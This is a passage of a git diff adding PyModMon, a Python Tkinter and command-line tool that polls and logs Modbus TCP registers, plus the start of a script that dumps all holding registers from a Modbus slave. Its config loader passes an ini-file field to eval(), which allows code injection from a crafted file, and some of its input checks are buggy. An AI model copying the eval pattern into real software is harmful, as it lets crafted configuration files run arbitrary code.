U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE 